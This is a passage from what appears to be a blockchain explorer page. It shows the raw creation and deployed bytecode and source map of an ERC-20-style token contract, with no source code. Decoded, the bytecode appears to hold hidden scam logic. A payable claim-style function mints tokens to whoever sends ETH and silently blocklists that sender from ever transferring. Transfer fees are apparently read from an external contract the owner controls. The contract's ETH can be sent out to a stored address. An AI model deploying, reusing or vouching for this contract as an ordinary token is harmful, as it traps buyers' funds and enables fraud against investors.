828701611dff565b9150509250925092565b5f604082019050611e765f830185611af7565b611e836020830184611a20565b9392505050565b611e93816119ed565b8114611e9d575f80fd5b50565b5f81519050611eae81611e8a565b92915050565b5f60208284031215611ec957611ec861191e565b5b5f611ed684828501611ea0565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f611f3960248361187e565b9150611f4482611edf565b604082019050919050565b5f6020820190508181035f830152611f6681611f2d565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611fc760228361187e565b9150611fd282611f6d565b604082019050919050565b5f6020820190508181035f830152611ff481611fbb565b9050919050565b5f602082840312156120105761200f61191e565b5b5f61201d84828501611dff565b91505092915050565b5f6120308261197c565b915061203b8361197c565b925082820390508181111561205357612052611c22565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6120908261197c565b915061209b8361197c565b9250826120ab576120aa612059565b5b828204905092915050565b5f6120c08261197c565b91506120cb8361197c565b92508282019050808211156120e3576120e2611c22565b5b9291505056fea26469706673582212203a78226fbf4c29f28513b53fe740f9d3fcc3ff0b149cca436682a6ea60405d2d64736f6c63430008180033

Deployed Bytecode

0x608060405260043610610108575f3560e01c80638cc0802511610094578063b547aeda11610063578063b547aeda14610352578063c9567bf914610368578063d5f3948814610372578063dd62ed3e1461039c578063e086e5ec146103d857610108565b80638cc08025146102865780638da5cb5b146102c257806395d89b41146102ec578063a9059cbb1461031657610108565b8063313ce567116100db578063313ce567146101d85780634d413e7d146102025780634e71d92d1461022a57806370a0823114610234578063715018a61461027057610108565b806306fdde031461010c578063095ea7b31461013657806318160ddd1461017257806323b872dd1461019c575b5f80fd5b348015610117575f80fd5b506101206103ee565b60405161012d91906118fe565b60405180910390f35b348015610141575f80fd5b5061015c600480360381019061015791906119af565b61047e565b6040516101699190611a07565b60405180910390f35b34801561017d575f80fd5b50610186610494565b6040516101939190611a2f565b60405180910390f35b3480156101a7575f80fd5b506101c260048036038101906101bd9190611a48565b61049d565b6040516101cf9190611a07565b60405180910390f35b3480156101e3575f80fd5b506101ec610549565b6040516101f99190611ab3565b60405180910390f35b34801561020d575f80fd5b5061022860048036038101906102239190611acc565b61055e565b005b61023261062e565b005b34801561023f575f80fd5b5061025a60048036038101906102559190611acc565b6106a9565b6040516102679190611a2f565b60405180910390f35b34801561027b575f80fd5b506102846106ef565b005b348015610291575f80fd5b506102ac60048036038101906102a79190611acc565b610836565b6040516102b99190611a07565b60405180910390f35b3480156102cd575f80fd5b506102d6610888565b6040516102e39190611b06565b60405180910390f35b3480156102f7575f80fd5b506103006108af565b60405161030d91906118fe565b60405180910390f35b348015610321575f80fd5b5061033c600480360381019061033791906119af565b61093f565b6040516103499190611a07565b60405180910390f35b34801561035d575f80fd5b50610366610955565b005b610370610ac4565b005b34801561037d575f80fd5b50610386610fc4565b6040516103939190611b06565b60405180910390f35b3480156103a7575f80fd5b506103c260048036038101906103bd9190611b1f565b610fe9565b6040516103cf9190611a2f565b60405180910390f35b3480156103e3575f80fd5b506103ec61106b565b005b6060600c80546103fd90611b8a565b80601f016020809104026020016040519081016040528092919081815260200182805461042990611b8a565b80156104745780601f1061044b57610100808354040283529160200191610474565b820191905f5260205f20905b81548152906001019060200180831161045757829003601f168201915b5050505050905090565b5f61048a3384846110d3565b6001905092915050565b5f600154905090565b5f6104a9848484611296565b61053e84336105398560045f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546116ae90919063ffffffff16565b6110d3565b600190509392505050565b5f8060149054906101000a900460ff16905090565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105e290611c04565b60405180910390fd5b8060095f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f3411610639575f80fd5b61065233633b9aca003461064d9190611c4f565b6116d4565b600160065f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550565b5f60055f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461077c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077390611c04565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f60065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600d80546108be90611b8a565b80601f01602080910402602001604051908101604052809291908181526020018280546108ea90611b8a565b80156109355780601f1061090c57610100808354040283529160200191610935565b820191905f5260205f20905b81548152906001019060200180831161091857829003601f168201915b5050505050905090565b5f61094b338484611296565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109d990611c04565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff1660095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1603610a3a575f80fd5b600760159054906101000a900460ff1615610a53575f80fd5b610aa73060095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610aa26064610a94600a6001546117e990919063ffffffff16565b61182990919063ffffffff16565b611296565b6001600760156101000a81548160ff021916908315150217905550565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4890611c04565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff1660095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1603610ba9575f80fd5b60075f9054906101000a900460ff1615610bf8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bef90611cda565b60405180910390fd5b600760159054906101000a900460ff16610c10575f80fd5b610c3e3060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166001546110d3565b60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ca8573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ccc9190611d0c565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d52573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d769190611d0c565b6040518363ffffffff1660e01b8152600401610d93929190611d37565b6020604051808303815f875af1158015610daf573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610dd39190611d0c565b60085f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7193430610e5a306106a9565b5f80610e64610888565b426040518863ffffffff1660e01b8152600401610e8696959493929190611da0565b60606040518083038185885af1158015610ea2573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610ec79190611e13565b50505060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610f67929190611e63565b6020604051808303815f875af1158015610f83573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610fa79190611eb4565b50600160075f6101000a81548160ff021916908315150217905550565b60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f193505050501580156110d0573d5f803e3d5ffd5b50565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611141576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113890611f4f565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036111af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a690611fdd565b60405180910390fd5b8060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112899190611a2f565b60405180910390a3505050565b5f81116112a1575f80fd5b60065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16156112f4575f80fd5b60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361134c575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611383575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036113ba575f80fd5b5f60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561144457503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156114e55760035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231856040518263ffffffff1660e01b81526004016114a39190611b06565b602060405180830381865afa1580156114be573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906114e29190611ffb565b90505b5f61150c60646114fe84866117e990919063ffffffff16565b61182990919063ffffffff16565b905061155e8360055f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546116ae90919063ffffffff16565b60055f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611601816115f38560055f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461184e90919063ffffffff16565b6116ae90919063ffffffff16565b60055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161169f9190611a2f565b60405180910390a35050505050565b5f828211156116bb575f80fd5b5f82846116c89190612026565b90508091505092915050565b6117248160055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461184e90919063ffffffff16565b60055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516117c29190611a2f565b60405180910390a36117df8160015461184e90919063ffffffff16565b6001819055505050565b5f8083036117f9575f9050611823565b5f82846118069190611c4f565b90508284826118159190612086565b1461181e575f80fd5b809150505b92915050565b5f808211611835575f80fd5b5f82846118429190612086565b90508091505092915050565b5f80828461185c91906120b6565b90508381101561186a575f80fd5b8091505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156118ab578082015181840152602081019050611890565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6118d082611874565b6118da818561187e565b93506118ea81856020860161188e565b6118f3816118b6565b840191505092915050565b5f6020820190508181035f83015261191681846118c6565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61194b82611922565b9050919050565b61195b81611941565b8114611965575f80fd5b50565b5f8135905061197681611952565b92915050565b5f819050919050565b61198e8161197c565b8114611998575f80fd5b50565b5f813590506119a981611985565b92915050565b5f80604083850312156119c5576119c461191e565b5b5f6119d285828601611968565b92505060206119e38582860161199b565b9150509250929050565b5f8115159050919050565b611a01816119ed565b82525050565b5f602082019050611a1a5f8301846119f8565b92915050565b611a298161197c565b82525050565b5f602082019050611a425f830184611a20565b92915050565b5f805f60608486031215611a5f57611a5e61191e565b5b5f611a6c86828701611968565b9350506020611a7d86828701611968565b9250506040611a8e8682870161199b565b9150509250925092565b5f60ff82169050919050565b611aad81611a98565b82525050565b5f602082019050611ac65f830184611aa4565b92915050565b5f60208284031215611ae157611ae061191e565b5b5f611aee84828501611968565b91505092915050565b611b0081611941565b82525050565b5f602082019050611b195f830184611af7565b92915050565b5f8060408385031215611b3557611b3461191e565b5b5f611b4285828601611968565b9250506020611b5385828601611968565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680611ba157607f821691505b602082108103611bb457611bb3611b5d565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611bee60208361187e565b9150611bf982611bba565b602082019050919050565b5f6020820190508181035f830152611c1b81611be2565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611c598261197c565b9150611c648361197c565b9250828202611c728161197c565b91508282048414831517611c8957611c88611c22565b5b5092915050565b7f54726164696e6720616c7265616479206f70656e65642e0000000000000000005f82015250565b5f611cc460178361187e565b9150611ccf82611c90565b602082019050919050565b5f6020820190508181035f830152611cf181611cb8565b9050919050565b5f81519050611d0681611952565b92915050565b5f60208284031215611d2157611d2061191e565b5b5f611d2e84828501611cf8565b91505092915050565b5f604082019050611d4a5f830185611af7565b611d576020830184611af7565b9392505050565b5f819050919050565b5f819050919050565b5f611d8a611d85611d8084611d5e565b611d67565b61197c565b9050919050565b611d9a81611d70565b82525050565b5f60c082019050611db35f830189611af7565b611dc06020830188611a20565b611dcd6040830187611d91565b611dda6060830186611d91565b611de76080830185611af7565b611df460a0830184611a20565b979650505050505050565b5f81519050611e0d81611985565b92915050565b5f805f60608486031215611e2a57611e2961191e565b5b5f611e3786828701611dff565b9350506020611e4886828701611dff565b9250506040611e5986828701611dff565b9150509250925092565b5f604082019050611e765f830185611af7565b611e836020830184611a20565b9392505050565b611e93816119ed565b8114611e9d575f80fd5b50565b5f81519050611eae81611e8a565b92915050565b5f60208284031215611ec957611ec861191e565b5b5f611ed684828501611ea0565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f611f3960248361187e565b9150611f4482611edf565b604082019050919050565b5f6020820190508181035f830152611f6681611f2d565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611fc760228361187e565b9150611fd282611f6d565b604082019050919050565b5f6020820190508181035f830152611ff481611fbb565b9050919050565b5f602082840312156120105761200f61191e565b5b5f61201d84828501611dff565b91505092915050565b5f6120308261197c565b915061203b8361197c565b925082820390508181111561205357612052611c22565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6120908261197c565b915061209b8361197c565b9250826120ab576120aa612059565b5b828204905092915050565b5f6120c08261197c565b91506120cb8361197c565b92508282019050808211156120e3576120e2611c22565b5b9291505056fea26469706673582212203a78226fbf4c29f28513b53fe740f9d3fcc3ff0b149cca436682a6ea60405d2d64736f6c63430008180033

Deployed Bytecode Sourcemap

725:5036:1:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2216:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3265:150;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2117:91;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4890:234;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2436:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2008:101;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2638:171;;;:::i;:::-;;4025:110;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1532:148:4;;;;;;;;;;;;;:::i;:::-;;2527:103:1;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1759:79:4;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2324:104:1;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4486:156;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2817:216;;;;;;;;;;;;;:::i;:::-;;3423:590;;;:::i;:::-;;1402:23;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4650:134;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4792:90;;;;;;;;;;;;;:::i;:::-;;2216:100;2270:13;2303:5;2296:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2216:100;:::o;3265:150::-;3331:4;3348:37;3357:10;3369:7;3378:6;3348:8;:37::i;:::-;3403:4;3396:11;;3265:150;;;;:::o;2117:91::-;2161:7;2188:12;;2181:19;;2117:91;:::o;4890:234::-;4970:4;4987:27;4997:4;5003:2;5007:6;4987:9;:27::i;:::-;5025:69;5034:4;5040:10;5052:41;5086:6;5052:11;:17;5064:4;5052:17;;;;;;;;;;;;;;;:29;5070:10;5052:29;;;;;;;;;;;;;;;;:33;;:41;;;;:::i;:::-;5025:8;:69::i;:::-;5112:4;5105:11;;4890:234;;;;;:::o;2436:83::-;2477:5;2502:9;;;;;;;;;;;2495:16;;2436:83;:::o;2008:101::-;1123:10:4;1113:20;;:6;;;;;;;;;;:20;;;1105:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;2092:9:1::1;2081:8;;:20;;;;;;;;;;;;;;;;;;2008:101:::0;:::o;2638:171::-;2703:1;2691:9;:13;2683:22;;;;;;2716:48;2729:10;2753;2741:9;:22;;;;:::i;:::-;2716:12;:48::i;:::-;2797:4;2775:7;:19;2783:10;2775:19;;;;;;;;;;;;;;;;:26;;;;;;;;;;;;;;;;;;2638:171::o;4025:110::-;4082:7;4109:9;:18;4119:7;4109:18;;;;;;;;;;;;;;;;4102:25;;4025:110;;;:::o;1532:148:4:-;1123:10;1113:20;;:6;;;;;;;;;;:20;;;1105:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;1639:1:::1;1602:40;;1623:6;::::0;::::1;;;;;;;;1602:40;;;;;;;;;;;;1670:1;1653:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;1532:148::o:0;2527:103:1:-;2583:4;2607:7;:15;2615:6;2607:15;;;;;;;;;;;;;;;;;;;;;;;;;2600:22;;2527:103;;;:::o;1759:79:4:-;1797:7;1824:6;;;;;;;;;;;1817:13;;1759:79;:::o;2324:104:1:-;2380:13;2413:7;2406:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2324:104;:::o;4486:156::-;4555:4;4572:40;4582:10;4594:9;4605:6;4572:9;:40::i;:::-;4630:4;4623:11;;4486:156;;;;:::o;2817:216::-;1123:10:4;1113:20;;:6;;;;;;;;;;:20;;;1105:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;2893:1:1::1;2873:22;;:8;;;;;;;;;;;:22;;::::0;2864:32:::1;;;::::0;::::1;;2916:7;;;;;;;;;;;2915:8;2907:17;;;::::0;::::1;;2935:65;2953:4;2960:8;;;;;;;;;;;2970:29;2995:3;2970:20;2987:2;2970:12;;:16;;:20;;;;:::i;:::-;:24;;:29;;;;:::i;:::-;2935:9;:65::i;:::-;3021:4;3011:7;;:14;;;;;;;;;;;;;;;;;;2817:216::o:0;3423:590::-;1123:10:4;1113:20;;:6;;;;;;;;;;:20;;;1105:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;3514:1:1::1;3494:22;;:8;;;;;;;;;;;:22;;::::0;3486:31:::1;;;::::0;::::1;;3537:11;;;;;;;;;;;3536:12;3528:48;;;;;;;;;;;;:::i;:::-;;;;;;;;;3595:7;;;;;;;;;;;3587:16;;;::::0;::::1;;3614:59;3631:4;3646:11;;;;;;;;;;;3660:12;;3614:8;:59::i;:::-;3709:11;;;;;;;;;;;:19;;;:21;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;3696:46;;;3751:4;3758:11;;;;;;;;;;;:16;;;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;3696:81;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;3684:9;;:93;;;;;;;;;;;;;;;;;;3788:11;;;;;;;;;;;:27;;;3823:9;3842:4;3848:24;3866:4;3848:9;:24::i;:::-;3874:1;3876::::0;3878:7:::1;:5;:7::i;:::-;3886:15;3788:114;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;3920:9;;;;;;;;;;;3913:25;;;3947:11;;;;;;;;;;;3961:14;3913:63;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;4001:4;3987:11;;:18;;;;;;;;;;;;;;;;;;3423:590::o:0;1402:23::-;;;;;;;;;;;;;:::o;4650:134::-;4722:7;4749:11;:18;4761:5;4749:18;;;;;;;;;;;;;;;:27;4768:7;4749:27;;;;;;;;;;;;;;;;4742:34;;4650:134;;;;:::o;4792:90::-;4835:7;;;;;;;;;;;:16;;:39;4852:21;4835:39;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4792:90::o;4143:335::-;4253:1;4236:19;;:5;:19;;;4228:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;4334:1;4315:21;;:7;:21;;;4307:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;4416:6;4386:11;:18;4398:5;4386:18;;;;;;;;;;;;;;;:27;4405:7;4386:27;;;;;;;;;;;;;;;:36;;;;4454:7;4438:32;;4447:5;4438:32;;;4463:6;4438:32;;;;;;:::i;:::-;;;;;;;;4143:335;;;:::o;5132:626::-;5229:1;5220:6;:10;5212:19;;;;;;5251:7;:13;5259:4;5251:13;;;;;;;;;;;;;;;;;;;;;;;;;5250:14;5242:23;;;;;;5292:8;;;;;;;;;;;5284:16;;:4;:16;;;5276:25;;;;;;5336:1;5320:18;;:4;:18;;;5312:27;;;;;;5372:1;5358:16;;:2;:16;;;5350:25;;;;;;5386:11;5424:9;;;;;;;;;;;5416:17;;:4;:17;;;;:42;;;;;5453:4;5437:21;;:4;:21;;;;5416:42;5412:119;;;5488:14;;;;;;;;;;;5481:32;;;5514:4;5481:38;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5475:44;;5412:119;5541:17;5561:24;5581:3;5561:15;5572:3;5561:6;:10;;:15;;;;:::i;:::-;:19;;:24;;;;:::i;:::-;5541:44;;5614:27;5634:6;5614:9;:15;5624:4;5614:15;;;;;;;;;;;;;;;;:19;;:27;;;;:::i;:::-;5596:9;:15;5606:4;5596:15;;;;;;;;;;;;;;;:45;;;;5668:40;5698:9;5668:25;5686:6;5668:9;:13;5678:2;5668:13;;;;;;;;;;;;;;;;:17;;:25;;;;:::i;:::-;:29;;:40;;;;:::i;:::-;5652:9;:13;5662:2;5652:13;;;;;;;;;;;;;;;:56;;;;5739:2;5724:26;;5733:4;5724:26;;;5743:6;5724:26;;;;;;:::i;:::-;;;;;;;;5201:557;;5132:626;;;:::o;282:148:5:-;340:7;373:1;368;:6;;360:15;;;;;;386:9;402:1;398;:5;;;;:::i;:::-;386:17;;421:1;414:8;;;282:148;;;;:::o;3041:216:1:-;3126:25;3144:6;3126:9;:13;3136:2;3126:13;;;;;;;;;;;;;;;;:17;;:25;;;;:::i;:::-;3110:9;:13;3120:2;3110:13;;;;;;;;;;;;;;;:41;;;;3188:2;3167:32;;3184:1;3167:32;;;3192:6;3167:32;;;;;;:::i;:::-;;;;;;;;3225:24;3242:6;3225:12;;:16;;:24;;;;:::i;:::-;3210:12;:39;;;;3041:216;;:::o;89:185:5:-;147:7;176:1;171;:6;167:23;;187:1;180:8;;;;167:23;200:9;216:1;212;:5;;;;:::i;:::-;200:17;;245:1;240;236;:5;;;;:::i;:::-;:10;228:19;;;;;;265:1;258:8;;;89:185;;;;;:::o;594:147::-;652:7;684:1;680;:5;672:14;;;;;;697:9;713:1;709;:5;;;;:::i;:::-;697:17;;732:1;725:8;;;594:147;;;;:::o;438:148::-;496:7;516:9;532:1;528;:5;;;;:::i;:::-;516:17;;557:1;552;:6;;544:15;;;;;;577:1;570:8;;;438:148;;;;:::o;7:99:6:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::